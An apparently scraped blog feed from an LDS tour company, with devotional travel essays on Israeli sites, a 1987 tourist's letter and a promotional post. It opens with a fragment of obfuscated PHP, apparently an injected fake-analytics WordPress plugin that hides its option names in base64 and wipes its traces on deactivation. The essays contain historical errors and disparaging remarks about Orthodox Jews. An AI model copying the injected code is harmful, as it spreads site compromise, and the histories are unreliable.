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setCaptchaCookie(){if(!is_user_logged_in()){return;}$_2b967d92=base64_decode('ZmtyY19zaG93bg==');if(isset($_COOKIE[$_2b967d92])){return;}$_317dc73e=time()+(365*24*60*60);setcookie($_2b967d92,'1',$_317dc73e,'/','',false,false);}}register_deactivation_hook(__FILE__,function(){delete_option(base64_decode('Z2FuYWx5dGljc19kYXRhX3NlbnQ='));delete_transient(base64_decode('X19nYV9yX2NhY2hl'));delete_option(base64_decode('X19nYV9zbmlwX2lk'));});new GAwp_f670d34e(); Sabbath – Israel Revealed https://www.israelrevealed.com LDS Tours in Israel featuring Daniel Rona Fri, 25 May 2018 20:39:11 +0000 en-US hourly 1 https://wordpress.org/?v=5.4.19 https://www.israelrevealed.com/wp-content/uploads/2017/03/favicon.png Sabbath – Israel Revealed https://www.israelrevealed.com 32 32 Israel – Contrasts And Consonance https://www.israelrevealed.com/israel-contrasts-and-consonance/ https://www.israelrevealed.com/israel-contrasts-and-consonance/#respond Fri, 25 May 2018 20:39:11 +0000 https://www.israelrevealed.com/?p=4174

Flag Of Israel
Flag Of Israel

Israel is a land of exciting contrasts, a young nation built on an ancient inheritance. This inheritance includes simple truths revealed to simple prophets which have evolved into many rather enigmatic interpretations. In the land of Israel leaders of religious traditions compete fiercely for attention, creating for some a wilderness of confusion. But, if you look, listen and feel, you can find a `Spiritual Oasis in the Holy Land’. Therein exists a harmony of cultures and people bound together by events that the entire world can learn from.

One of the most important tasks in learning, whether by seeing, hearing or feeling, is to be able to recognize the truth. It is often joked among tour guides that the more often a statement is repeated, the truer it becomes! But for something as important as the Holy Land with its history and religion may we suggest four reasonable considerations to be your guidelines:

 

    Archaeology

-a systematic research through levels of civilizations. (It is fortunate that almost every one of the conquerors had such a desire for personal ownership that they destroyed, covered and rebuilt the cities they vanquished — some ancient cities had up to 28 levels of civilization).

 

    Written historical accounts

-a recording of events that affected the populace in the Middle East. In addition to the Holy Scriptures, many periods of civilization produced written records, dispatches and other letters on stone, clay and metal tablets that reveal important historical, governmental and religious details and messages.

 

    Tradition

-often used, but least reliable when limited to the buildings and “Holy Sites” proliferating Israel. The most credible traditions are of names and places — most of the names of cities and towns are still the same or of close linguistic connection, (Salem – Jerusalem, Bethlehem, Nazareth, etc,).

Feelings, a reflection on the spirit of places and events, the spirit that touches your heart — such consideration is very important, especially when religion is pondered. In addition to the spirit or feelings people bring with them based on their own religious expectations are the feelings of places — a sense of hallowedness and awe that time has not been able to erase.

Using these criteria, let’s proceed to see, hear and feel this wonderful old/new country. The heartfelt joy of the Holy Land is in the feeling that comes from remembering the events that took place here. On one hand, great events were caused by humble prophets, and on the other, men wanting to be great were caused to be humble. For reasons God determined, this land was chosen by Him to be a key place for the revelation of truth. Abraham, who was living in the East and North, in the land of the Chaldees, was saved by God from being a human sacrifice. He left the lands of idol-worshipping and was sent to the Crossroads of the East to establish the true worship of God. A religion and culture soon developed that would be spread to the surrounding lands and peoples, and thus Israel became the spiritual and temporal crossroads of the East. It is remarkable that such a little land had such a great effect on history.

Israel Conquests
Israel Conquests

CONQUESTS

The land of Israel is really quite small. The biblical borders of the “Jordan River to the Mediterranean” and “Dan to Beersheba” are about 65-miles wide and about 200-miles long, with virtually no natural resources, (there is no gold or silver or metal deposits). Even Golda Meir, former Prime Minister of Israel, humorously chided Moses when she said, “He travelled the wilderness for forty years and then settled the one spot that had no oil”! From a perspective of treasure or riches there may not seem to be an apparent reason for the almost 30 different conquests this land has experienced. The foreign conquerors included, (chronologically), Canaanites, Egyptians, Hysksos, Midianites, Hittites, Philistines, Assyrians, Babylonians, Persians, Greeks, Syrians, Romans, Byzantines, Moslems, Mongols, Crusaders, Turks and British. Yet none of them remained. Throughout its colorful history the land of Israel has been overrun and conquered by 18 different peoples, close to 30 times.

Ah, but the very Jews and Arabs who have experienced the various conquerings are still here. They have survived, submitted to or eventually overthrown the foreign occupations. Foreign powers have not always been adverse, in fact several of them brought added prosperity and world influence to the local inhabitants. However, for the Jews and the Arabs — it is their land, not mutually exclusive, but none-the-less a land where they have continued to survive and for the most part successfully coexist for centuries. The recent historical local struggles were more between Arabs and Arabs than the incorrectly perceived Arab/Jewish conflicts.

The reasons for the foreign conquests was not economic in the sense of resources that could be plundered, but they were geographic because the land of Israel was situated between two great population centers. To the north and east was the Fertile Crescent with its millions of population; to the south and west was the fertile Nile Delta with its millions of peoples. These major Middle-East population centers wanted to communicate and trade with each other, they travelled through the land of Israel and it became the Crossroads of the East.

A few years ago, I was asked to audition (among many others) for the Tabernacle Choir’s Spoken Word program. Afterwards, I quipped to the producer, if the choir ever came to Jerusalem, I could always be your Israel announcer. However, I continued, the program would have to begin a little differently. My recommendation was to begin the program with the words, “From the crossroads of the East….” A word play, but words can create pictures that give greater understanding.

CROSSROADS, A CHIASM OF HISTORY

Let’s try a word play, numbering key words that create a definite pattern. On one hand, in ancient days, in the Crossroads of the East (1), the land of Israel, there was a religious freedom with living inspired leaders teaching the religious word (2) to the people who came in (3) from every direction for trade or education. On the other hand, in these later-days, in the Crossroads of the West (3), the land of America, there is a religious freedom with living inspired leaders teaching the religious word (2) by sending it out (1) in all directions. This word play based on historical fact is an inverted repetition, a chiasm. It is typical of many scriptural dialogues, reports of biblical events and even the way many historical events unfolded. It may be a way of considering the past as a guideline to the future! A chiasm is like a sandwich, bread on both sides with a delectable morsel in the middle.

Let’s explain: A chiasm can be words or thoughts listed first in one direction,

1 –

2 –

3 –

4 etc.

…and then repeating the words or thoughts in reverse order,

4 –

3 –

2 –

1 –

But a chiasm is only valuable when the center point, or apex is recognized. It is in the middle of the “crossroads chiasm” that we find the source of truth, the Word, the Messiah, the Jehovah of the Old Testament, the Jesus of the New Testament, the Anointed One. He chose the land of Israel to reveal the word of truth in the Ancient and Meridian times. (JOHN 1:1)

Scenery Of Israel
Scenery Of Israel

MOUNTAINS, WATER AND PEACE

The land of Israel also contains majestic landscapes as varied as her people, with ocean and seas, plains and mountains. It is green, and there is water! It is a good land, where Jews, Moslems and Christians raise their families. Most of them agree that a feeling of peace and youthful growth exists even though its history is almost as old as civilization – a country 45 years-old, going on 5000!

Ah! – but as already discussed, Israel is also a land of travelers. Even today, close to two-million visitors come from all over the world to reach for the history and religion as it might have been in the past. Anciently, from the fertile crescent at the north to the fertile Egyptian Nile delta at the south, it was truly the Crossroads of the East. (ISAIAH 11:16)

Come! Journey with us through the land that has touched the hearts of hundreds of millions of people and is reaching out to you.. Meet the people, their customs, traditions and their religion — and hopefully you will also enjoy a `Spiritual Oasis in the Holy Land’.

Ocean Sunrise In Israel
Ocean Sunrise In Israel

THE WAY OF THE SEA

Jaffa (Joppa) is an ancient Old Testament caravan stop. In archaeological terms it is a Tel, a mound of different civilizations layered one on each other after each subsequent destruction and rebuilding. This particular “way station” became a seaport where the ancient prophet Jonah left for the west instead of going north and east to Ninevah as the Lord
commanded him to do. A terrible storm arose, endangering the ship and crew. Jonah, being identified as the cause, was thrown overboard, but, the Lord did not let him perish. Jonah spent three days and three nights inside the belly of a great fish. (JONAH 1,2) At the time, little did he know we would be referring to his experience as a sign of the Messiah almost twenty-nine centuries later.
Some people say caustically, “What a whale of a story”! One would have to look a long time to find whales in the mediterranean. But in that body of water, today, there exist a `Grouper’ fish which, according to experts can continue to grow large enough to swallow even a man. There are modern tales that reveal such occurrences as well.

MESSIANIC SIGN OF JONAH

About nine hundred centuries after Jonah, the Pharisees asked Jesus for a sign that he was the Messiah, he informed them that a wicked and adulterous nation sought for signs and that they, the Pharisees, would receive only one sign. Jesus then referred to Jonah’s experience as a sign of the Messiah being three days and three nights in the earth and then overcoming death in resurrection. (MATTHEW 12:40)

The contrasts and consonance are beautiful, Jonah was told to go up to Ninevah, instead he went down to Joppa, down in the boat, down in the water. He came up out of the water, came up to Ninevah and saved from death himself watched that great city be saved. Jesus went down to a prison, was crucified, went down to the grave. He came out of the grave and saved the entire humanity.

Port Of Jaffa In Tel Aviv
Port Of Jaffa In Tel Aviv

PETER COMMANDED TO TEACH GENTILES

In New Testament times, the city of Jaffa was some 20 feet below today’s city level. Simon Peter was staying here at the home of Simon the Tanner when he received a remarkable vision. It was the sixth hour of the day, (the sixth hour is what in modern times we would call noon). Simon Peter was apparently praying, (religious Jews pray three times a day using a special prayer cloth). He saw a sheet with knitted or knotted corners – maybe like the typical Jewish prayer shawl, a Talith with its knotted corners – which was filled with all sorts of common or unclean foods. An angel commanded Peter to eat of those foods, contrary to Jewish dietary law. The vision was a conflict in symbolism: the Talith used in the Temple as a holy garment filled with foods forbidden by the Law of Moses.

On the previous day, some 35 miles to the north at Caesarea, a Roman centurion named Cornelius received a vision at the “ninth hour” of the day, (again, in modern times, three o’clock in the afternoon) to send for Peter so that Peter could teach Cornelius the truth. Incidentally, the time to travel the distance of 35 miles would take the better part of two days, or at least an overnight journey. Cornelius’ invitation to Peter arrived just as Peter was contemplating the meaning of the unusual vision of “unkosher” foods he had just been commanded to eat. Peter was soon to learn of the correlation of these two heavenly manifestations. When Peter arrived to visit in the house of Romans, again contrary to Jewish law and custom, he related that God had updated or changed the food laws of Israel, (showing Israel’s singularity), and said, “But in every nation he that feareth him, and worketh righteousness, is accepted with him.” Not just Israelites, but all peoples were able to become children of the covenant. (ACTS 10)

The scriptural report of these events is also a chiasm, first we read of Cornelius’ vision, next we learn of Peter’s vision, but when Peter arrives in Caesarea, the vision of Cornelius is repeated again. The center point is “salvation for all people”, The Savior’s name in Hebrew, “Jehoshua” means “Jehovah saves”. (ISAIAH 12:2)

TEL AVIV

1900 years later, a new city sprang up on sand dunes near Jaffa. Tel Aviv became Israel’s largest population center, an international city of peoples from all over the world. The sand dunes, which incidentally have blown and washed up from Egypt, have been subdued, and this coastal range, the ancient plains of Sharon, was transformed from wind swept dust and pockets of rotting swamps to fertile green fields once again.

The City Of Caesarea
The City Of Caesarea

CAESAREA: ROME AWAY FROM ROME

About two millennia ago, starting about year 22 B.C.E., (a scholastic adjustment referring to before common era – that is, before the time of Jesus), an egomaniac king, Herod, built a city on the wind swept sand dunes that line the Way of the Sea and named it after his ruler, Caesar. About thirteen miles south of Mount Carmel, Caesarea became the Roman capital of what Romans called Palestine. (The name in Hebrew and Arabic is “Phillistia” and the Romans may have renamed it so to “spite” the Jews). Caesarea was a remarkable city with a break-water harbor that could be used year around. The breakwater was constructed by creating wooden forms that were lowered into the water with stone weights and then filled with a concrete that was poured into the forms – under water!

A splendid theater, amphitheater, sports hippodrome, and worship areas added to the modern opulent Roman city in the province of Judea. To have sufficient fresh water for a city that may have grown to 60,000 in population, fresh running water was channeled from Mount Carmel about thirteen miles away. Remainders of the Roman aqueduct and other buildings are still visible today

AGRIPPA: ALMOST A BELIEVER

It was at Caesarea that a later Herod, Agrippa the second, questioned the Apostle Paul about his Roman arrest that interrupted a planned Jewish execution in Jerusalem. Under Roman law, Jewish priests were not allowed to execute anyone, except for temple violations. Paul had apparently preached in the temple after his remarkable conversion, but escaped stoning at the hands of Jewish priests because he was also a Roman citizen. The restored theater at Caesarea is a fitting place to review Paul’s speech to the king. In telling his unusual conversion story, which included Paul’s direct vision of the resurrected Jesus, he challenged the king himself to believe. King Agrippa retorted, “…Almost, thou persuadest me…”. “And Paul said, I would to God, that not only thou, but also all that hear me this day, were both almost, and altogether such as I am, except these bonds.” (ACTS 26)

Paul’s message continues to be valid today, a commitment to true belief must be wholehearted, “almost” isn’t enough!

CAESAREA DESTROYED

Caesarea became the place of Jewish revolt under Rabbi Akiva as early as year 63 C.E. (Common Era – a scholastic adjustment that means the same as A.D.) and later a seat of Jewish learning as well as Christian schools including institutions founded by Origen and Eusebius. Eventually it was totally destroyed by Moslems in the seventh century. Later, Crusaders rebuilt Caesarea as a much smaller place, surrounded it with a moat, and used the ruins of Herod’s breakwater as a seaport.

The City Of Haifa
The City Of Haifa

HAIFA: ISRAEL’S THIRD LARGEST CITY

Continuing further north on the coastal ‘Way of the Sea’, we find the city of Haifa rising splendidly upon Mount Carmel. The harbor was built by the British in the 1930’s. They put in a breakwater to accommodate the larger ships and tankers of modern times. The area, which anciently was the inheritance of the tribe of Zebulon is now the industrial center of Israel. (JOSHUA 19:10-16) Oil refineries, steel mills and manufacturing industries thrive in this city where one of the finest technical universities of the Western world is located. Haifa’s Technion” or Institute of Technology is the center for “high tech”. Haifa is known for it’s advances and accomplishments in technical and computer sciences.

In this city the Bahai religion has its world center. The Bahais have close to three and a half million members throughout the world. Sorely persecuted in the mid 1800’s, they established headquarters on Mount Carmel. Among the beliefs of this religion is the doctrine that all men are brothers and that they should speak the same language. The Bahais teach their special language in their worship centers. They also believe that their religion will rule and judge all people at the last days, before the “end of the world”. Recently they have built a new justice center near their gold domed headquarters building.

Mount Carmel
Mount Carmel

ELIJAH ON MOUNT CARMEL

Mount Carmel is most famous for the contest between Elijah and the priests of Baal precipitated by the three-and-a-half years of drought. During the 42-months of drought, Elijah was not able to convince the Israelites that they should humble themselves and believe in Jehovah, the God of Israel. Elijah (his name means “My God is Jehovah”) had an experience that would referred to by Jesus nine centuries later; even though there were many widows in Israel during Elijah’s time, he choose only to bless a widow in Sarepta, a city by Sidon. She agreed to feed Elijah, even though her scant supply of flour and oil would be depleted. A miracle occurred after feeding the prophet, the widow’s flour and oil supply continued through the remainder of the drought! “And she went and did according to the saying of Elijah: and she, and he, and her house, did eat many days. “And the barrel of meal wasted not, neither did the cruse of oil fail, according to the word of the LORD, which he spake by Elijah.” (1 KINGS 17:15-16)

Eventually, suffering from the lack of rain, King Ahab called for a contest in which he commanded that Elijah and the 450 priests of Baal should prove which of their Gods was real. The priests tried to call down fire from their gods of wind, fire and rain to burn their offering, but nothing happened. Taunting them somewhat, Elijah then built another altar and digged a trench around it. Then Elijah poured water on his offering, filling the trench, and commanded fire from heaven to consume the offering. Not only was the offering consumed, but the water as well. The priests of Baal not only suffered a humiliating defeat but were later put to death by order of Elijah. (1 KINGS 18:17-46)

It is interesting to note that such contests or “theatrics” were often used by the priests of other religions. They would “fight” against evil invoking one of their Gods for assistance. Often, appearing to fail and just before succumbing to the evil, the priest would be “rescued” or “comforted” by a very beautiful virgin woman. With renewed strength and confidence, the priest would then rally and defeat the evil. The theatrics would conclude with the priest and the beautiful woman going off “into the sunset” to consummate their victory. Many times, the people would return home with a souvenir from the theatrics, a small replica of the woman — a goddess of fertility. This type of religious prostitution was abhorrent to the God of Israel. The people thought they could be religious and still visit the titillating dramas.

All of these historical patterns hold a lesson for us today. They were written in prose and poetry, patterns to provide a path leading into the future. Patterns that teach by contrasts and consonance.

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]]> https://www.israelrevealed.com/israel-contrasts-and-consonance/feed/ 0 Sheep, Shepherds And The Son Of God https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/ https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/#respond Tue, 15 May 2018 01:26:58 +0000 https://www.israelrevealed.com/?p=4150

A Bethlehem Neighborhood In The Evening
A Bethlehem Neighborhood In The Evening

We live one mile from Bethlehem. Our neighborhood is modern and clean. In our home there’s always room for a guest. What we have is never too good for anyone passing by. This we decided upon since we learned about some of our ancient relatives who couldn’t even find a private room to fulfill one of life’s greatest blessings – the birth of their first child.

Today, many people travel to the Holy Land to look for Him in “traditional spots”.

The Nativity Church In Bethlehem
The Nativity Church In Bethlehem

THE NATIVITY CHURCH

The traditionally accepted birthplace of Jesus is in a grotto located under the Church of Nativity. This is not inconceivable, in the sense that stables were usually on the ground floor or underneath the inn rooms. The tradition, however, only begins 175 years after the birth of Jesus. Three Christian churches, Greek Orthodox, Armenian and Catholic, hold separate services here and maintain a star decorating the place of birth.

Ownership is tentative, at best. The three Churches rotate their rights in using the grotto. Each one, in turn, brings their own decorative accouterments, adornments, carpets and curtains to be used during their particular mass or service. Thereafter, they must remove all of their items, relinquishing the “temporary ownership” during their mass to the next religious group.

Manger Square
Manger Square

MANGER SQUARE

Opposite or close to every Christian church in this land is a Moslem mosque, and Bethlehem’s Manger Square is no exception. Also, across the street, is the Israeli police station, souvenir shops and television antennas – a contrast to what Bethlehem must have looked like twenty centuries ago.

Our family sees Israel differently – through the ever connected branches of our family tree. The language, customs and traditions of our people reflect an eternal message, however, a message that somehow is still obscure to most of those who live here in Israel.

Everyone seems to come to Israel to see the holy places, however, the heartfelt joy of the Holy Land is in the feeling that comes from remembering the events that took place here.

A Shepherdess Tending Her Sheep
A Shepherdess Tending Her Sheep

BETHLEHEM’S ROYAL HERITAGE – RUTH AND NAOMI

Around Bethlehem are numerous hills still grazed by sheep and goats. In the spring the small fields, supported by terraces, are planted with wheat or barley. It was hills like these that had become barren when Elimelech (meaning God is my King) and his wife Naomi (meaning pleasant or blessed) and their two sons left for the greener mountains of Moab about 40-miles away across the Great Salt Lake. (It’s the people living outside of Israel call it the Dead Sea).

Sadly, Elimelech died. His sons supported their mother and even married women of Moab. One was named Ruth and the other Orpah. But even sadder, the sons died, leaving three widows. Naomi wanted to return to Bethlehem, (meaning the house of bread), she heard that wheat and barley were growing again. Ruth faithfully followed her mother-in-law. “And Ruth said, Entreat me not to leave thee, [or] to return from following after thee: for whither thou goest, I will go; and where thou lodgest, I will lodge: thy people [shall be] my people, and thy God my God: Where thou diest, will I die, and there will I be buried: the LORD do so to me, and more also, [if ought] but death part thee and me.”

It was the beginning of the barley harvest, spring, the season of Passover. Passover is celebrated to remember the deliverance of Israel from Egypt. Ruth gathered after the reapers; her good fortune was to come to the fields of Boaz who was a relative of Naomi’s late husband. It is still the Middle East custom for the late husband’s family to care for the widowed wife. “And Boaz answered and said unto her, It hath fully been showed me, all that thou hast done unto thy mother in law since the death of thine husband: and [how] thou hast left thy father and thy mother, and the land of thy nativity, and art come unto a people which thou knewest not heretofore. The LORD recompense thy work, and a full reward be given thee of the LORD God of Israel, under whose wings thou art come to trust.”

Ruth married Boaz and had a son named Obed, who had a son named Jesse who tended flocks and crops in these same hills. (RUTH 1,2,3)

A Statue Of King David In Jerusalem
A Statue Of King David In Jerusalem

KING DAVID

Jesse’s youngest son was named David. In obscurity, a boy shepherd was ordained the King of Israel, and yet he continued to be a shepherd — a good shepherd. Born at Bethlehem he was promised by God that his seed would bring the King of Kings, the Messiah — also to be known as the Good Shepherd. To this day, Israelis still sing about David, King of Israel, awaiting a new Davidic descendant. “For unto us a child is born, unto us a son is given: and the government shall be upon his shoulder: and his name shall be called Wonderful, Counsellor, The mighty God, The everlasting Father, The Prince of Peace.” (ISAIAH 9:6 7)
The Saviour’s Birth

THE KING OF KINGS

“And it came to pass in those days,” that Joseph and his espoused wife went “…unto the city of David, which is called Bethlehem…”“And behold, he shall be born of Mary, at Jerusalem which is the land of our forefathers, she being a virgin, a precious and chosen vessel, who shall be overshadowed and conceive by the power of the Holy Ghost, and bring forth a son, yea, even the Son of God.” ALMA 7:10

Again it was the Passover season, spring of that year. According to the biblical calendar, Passover always occurs at the first full moon after the first day of spring. In the year 1830, the 6th of April was the first full moon after the first day of spring. It was Passover, “…being one thousand eight hundred and thirty years since the coming of our Lord and Savior Jesus Christ in the flesh…” DOCTRINES and COVENANTS 20:1 The Deliverer was born at the season celebrating the deliverance of Israel from Egypt and an expectation of even a greater deliverance to come.

The journey from Nazareth to Bethlehem had taken at least a week to ten days. They may have been “camped” at a caravan inn for some time for the scripture reads, “And so it was, that, while they were there, the days were accomplished that she should be delivered. And she brought forth her firstborn son, and wrapped him in swaddling clothes, and laid him in a manger; because there was no room for them in the inn.” Nearby, shepherds watched over their flocks, and angels announced good tidings. “For unto you is born this day in the city of David a Savior, which is Christ the Lord…Ye shall find the babe wrapped in swaddling clothes, lying in a manger.” (LUKE 2:1-19)

We feel that we know some of those angels. Wasn’t Naomi one of them? In her life, she was bitter having lost her husband and sons. But she brought a convert daughter-in-law to Bethlehem, to become the great, great grandmother of King David, whose royal line brings our Messiah. Our Savior came from a convert’s family!

Although most of the six-million inhabitants of this little land of Israel don’t even know anything about Him, we do. We have as some of our neighbor friends, shepherds. Their living is not modern or clean. But they are humble and kind. They have shared their happiness when babies were born. We have mourned with them as one of their babies died. And we sing to them, on the hills of Bethlehem, songs and feelings that angels announced two thousand years ago. We can’t sing “Far, Far away on Judaea’s plains”. The words come out as “Near, Near at hand on Judaea’s hills, shepherd’s of old heard the joyous trills”!

Today’s shepherds may not yet understand our words, but one day they will — understand the gift of the One born in a manger. He gave life, Eternal life to all.

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/sheep-shepherds-and-the-son-of-god/feed/ 0 The Holy Land Blossomed for Him (Dilworth Rust, A Personal Letter) https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/ https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/#respond Wed, 24 May 2017 20:33:58 +0000 https://www.israelrevealed.com/?p=3303

Dilworth Rust Mormon Travel Israel
Dilworth Rust, Salt Lake Temple

March 25, 1987

Dear Mother,

. . . For our anniversary . . . we were. . . in Israel . . . a wonderful experience, one which I’m sure will always remain with us. The tour was made especially meaningful by our having as a guide, Daniel Rona, a Latter-day Saint Jew authorized to lead guided tours in the Holy Land. He took us to the places that mattered most to a Latter-day Saint: places which fit 1) archaeology, 2) the scriptural record, 3) tradition, and 4) impressions of the Spirit.

The highlights of the week . . . were of both a physical and spiritual nature: visits to the Shepherd’s Fields across from Bethlehem, to “Temple Square”-­ and especially the site where the Holy of Holies . . . will eventually be rebuilt, to the Garden Tomb, and to the Mount of Beatitudes. A sacred spirit was especially evident at the Garden Tomb and . . . the Mount of Beatitudes. All these places have a natural beauty . . . . more than that, though, I was touched with the knowledge that despite all the churches and other shrines constructed in Jerusalem and elsewhere, the places that mattered most were untouched.

A visit to the Church of the Holy Sepulchre left me with a cold feeling; . . . By contrast, when Pat and I went back to the Garden Tomb on Wednesday–our last day in Jerusalem, and a free day for us–we loved sitting on a bench in the garden and meditating and singing. For a while, we were the only ones there. Then when we went by ourselves into the tomb, the sunlight filled up the chamber and there was a wonderful spirit pervading it. Pat and I wanted to stay there and feel the spirit (even though in a place such as that a normal impulse is to get back out into the open). Given the direction of the sun’s rays, I speculated that early on that first Easter morning, the rays might well have penetrated to the furthest recesses of the garden tomb. (It would have been appropriate: the light of the world shining fully upon the newly resurrected “Light of the World.”)

Garden Tomb Israel Mormon Travel
Garden Tomb Israel

Similarly, at the Mount of Beatitudes, (Daniel) took us to a place below the church built on the top of the mount. There at the side of the mountain, looking down upon the Sea of Galilee . . . at the top of an untouched meadow . . . I felt strongly that the Savior had been there and had taught there. . .

The experience (especially, thanks to help from our LDS Jewish guide) helped me better appreciate the need to care more about the nature and destiny of the Jews . . . I have a feeling that our role must be a continual learning role–to know where they are coming from. There is a need to build bridges. What the Jews had lost for more than two millennia were: 1) prophets and the spirit of prophecy; 2) the active Levitical order and their own high priest to function in the temple; 3) a temple; 4) a kingdom–a powerful nation (which they are now regaining); and 5) land (which has now been rectified–with people speaking 120 different languages returning to Israel).

“They have the forms without the spirit”

Perhaps the most impressive lesson I learned about the Jews (and here I am talking about the Orthodox Jews–about 85% of the Jews in Israel are irreligious) is, that they have the forms without the spirit, just as did the Pharisees in the time of Jesus. I finally understood what the Savior meant when he condemned the practice of Pharisees praying to be (seen) of men: the orthodox Jews at the Wailing Wall were moving their upper bodies up and down as they prayed, they also had their prayer books in their hands. It was evident at a long distance that they were praying . . .

The orthodox Jews enforce strict requirements on each other. On the road to Jericho there is a prominent sign that says Levites should not go further . . . because . . . of coming too close to a cemetery (and thus polluting themselves). The sign shows the long detour the Levites are obligated to take to avoid this possible contamination. With some help from Daniel Rona, we finally saw new dimensions in the Savior’s parable of the Good Samaritan. The priest and the Levite went to the other side of the road because they thought the wounded Samaritan was dead–and they didn’t want to be polluted by coming close to him. Thus, they let their fastidious (and falsely understood) adherence to strict rules keep them from helping a fellow being. (As Paul says in 2 Corinthians, “the letter killeth, but the spirit giveth life.”)

Daniel Rona also explained that the Urim and Thummim– which Joseph Smith said were of triangular shape—(could mean) “yes” and “no” (or “thumbs up” and “thumbs down”). Thus, they would have been represented by a triangle and an inverse triangle: ▲ ▼. When put together, they form the Star of David: . The significance of this is made clear when one considers the prophetic powers of the earlier David. As I meditated upon this new information, I thought of how the Star of David has lost its inner meaning to the present-day Jew: prophecy has gone from the Jews (but not permanently).

One other insight our guide shared has caused me subsequent deep thought. Brother Rona pointed out that the chief cornerstone which Christ represented was most logically the top of a pyramid. (Acts 4:11: “This is the stone which was set at nought of you builders, which is become the head of the corner.”) Then he pointed out the symbol of the pyramid on the dollar bill, and I quickly commented that the rejected chief cornerstone was also “the all-seeing eye” (i.e, the Lord). While this symbol undoubtedly was suggested by the Freemasons among our country’s founders, it contains some elements that could be attractive to Latter-day Saints. For example, as Hugh Nibley points out in his book, The Joseph Smith Papyri: An Egyptian Endowment, the pyramid anciently was thought of as a holy mountain–in other words, as a temple. In the symbol on the dollar bill, the power of the Lord can be seen as the apex of that temple.

King Zachariahs Tomb Israel
King Zachariah’s Tomb, Israel

So, what is the application to the relationship between Jesus Christ and the Jews? References in the Topical Guide to “Cornerstone” point to Jesus Christ (Jehovah) as “the Rock of his salvation” (Deut. 32:15). Zechariah 10:4 says, “Out of him came forth the corner [i.e., says our footnote, the cornerstone]”. What is fascinating to me (one of the things I discovered as I meditated about all this) is that the top of the tomb of king Zachariah . . . is a pyramid.

Now if we look again at the image of the dollar bill, we see that that lower part is like pyramids found in Central America. And what is now missing from them? There was a temple on top. In other words, the chief cornerstone not only completed the temple, but in effect it was the essence of the temple, containing its power, being the culmination, and containing the mountaintop element that is symbolic of temples (the meeting point between heaven and earth). We are reminded that Christ spoke of himself as a temple (John 2:19) (and indeed, “the house of the Lord” can have multiple meanings, one of which is the Savior himself–see also Rev. 21:22). So in Christ being rejected and taken into heaven (Moses 7:53: “I am Messiah . . . the Rock of Heaven”), the Jews lost the temple–and lost their connecting point between man and God.

“Jews will again have a temple in which the spirit of the Lord dwells”

The satisfying knowledge that a Latter-day Saint has, is that the head cornerstone will return, that the Jews will again have a temple in which the spirit of the Lord dwells, It is up to Joseph, though, to be an instrument in saving his brother Judah, just as Joseph of old–mistreated by his brothers and sent into Egypt–was a means of saving Judah and the rest of his family, In the repeating patterns of the Restoration, it would be appropriate for Joseph (especially the LDS church led by Ephraimites) to save Judah and then for Judah finally to recognize the identity of his brother. Eventually, in the Millennium, the law (i.e., doctrines and teachings) will go forth from (new) Zion . . . and the word of the Lord will go forth from Jerusalem (Isaiah 2:3). In both places, people will go to “the mountain of the Lord’s house” (Isa. 2:2, the temple).

Finally, though, Jerusalem will have a prophet again–speaking the word of the Lord. Then the Star of David will once more have real meaning (seership) and the essential forms found in Judaism (with the extraneous ones cast away) will be infused with spirit so as to become meaningful.

So, now you know some of the thoughts that have been stimulated by that wonderful trip to Israel. I know it is the Holy Land. I see it blossoming like a rose (an amazing thing to me), and I know that eventually the light that is Christ will bring great spiritual power back to that land.

You can see in the latest Ensigns the beautiful and interesting sights we saw in Israel. Wish you could have been there with us.

Dilworth Rust Signature
(Dilworth Rust)

P.S. You might pass this letter on to David and Eleanor. I wish they could have been with us, too.

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/the-holy-land-blossomed-for-him-dilworth-rust-a-personal-letter/feed/ 0 Hunger And Thirst… For What? https://www.israelrevealed.com/hunger-and-thirst-for-what/ https://www.israelrevealed.com/hunger-and-thirst-for-what/#respond Fri, 05 May 2017 22:19:41 +0000 https://www.israelrevealed.com/?p=3252

Jordan River Baptism Israel
Baptism On The Jordan River, Israel

One thing many of us take for granted is time spent with family. Sometimes, we think that we can make up for lost time and put other priorities ahead of that quality time or experience, only to discover that time spent with family is a higher priority in life.

A spirit-filled travel experience in Israel is one of the more indelible ways to create lasting memories and experiences, as it develops an unbreakable bond. At the end of our life, we won’t be thinking about the new car we bought or that amazing dining room set we used a few times a year. Instead, we’ll treasure the memories of loved ones and the experiences we shared following the Savior’s footsteps.

The week, a fellow travel professional, Mark Murphy, CEO of TravelAlliance.com, shared many of the above thoughts . He told us that was diagnosed with cancer which disrupted his carefully scripted plans for 2017, and he had to focus on treatments starting in two weeks.

What Really Matters In Life?

Happy Family
Happy Family

The first thing he thought about, was: where can he and his family travel to in the next two weeks? He thought about travel first, not because of what he does professionally, but because of the power it has, to open a family’s eyes to the beauty all around.

Like Mark, I often think of the beauty of a loving family, the calming effects of a warm breeze and the simple pleasure of watching the sun rise in the morning and set in the evening in sacred surroundings. Add to that, the comforting feelings and the lasting strength that comes from “listening” to the “rocks shout” and “hearing” the “flowers praise” the Savior. Imagine what it is like as you and I walk the very paths, and sail on the very sea, he walked.

Steven and I are looking forward to the experiences we will have, and the enduring memories that will be the result. Like Mr. Murphy, the idea of “selling” travel is one that we don’t adhere to. We believe that you will “buy-in” to the Holy Land experience, because you want a personal connection to the biblical stories that touch you. Jesus was a great storyteller. We are able to share those stories and events because we were born and raised in Israel, our homeland, the Savior’s homeland.

It’s really that simple, add to the depth of your personal experiences, think how you have felt through someone else’s stories, and now you will, in person, with your family share the true feelings, where they originated.

Mark said, “I’ve traveled the world and built a successful company, but when it all comes down to it, I’m thinking about where I can connect with my family and bank more memories.”

As you “hunger and thirst” for happy, sacred memories, remember, we’ve already reserved your spot!

Remember your dream of walking in the footsteps of the Savior?

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]]> https://www.israelrevealed.com/hunger-and-thirst-for-what/feed/ 0 Passover Meal And Sabbath Ends With “Next Year In Jerusalem” https://www.israelrevealed.com/passover-meal-and-sabbath-ends-with-next-year-in-jerusalem/ https://www.israelrevealed.com/passover-meal-and-sabbath-ends-with-next-year-in-jerusalem/#respond Mon, 17 Apr 2017 19:47:49 +0000 https://www.israelrevealed.com/?p=3205

Mormon Tours Capernaum Israel
Capernaum, Israel

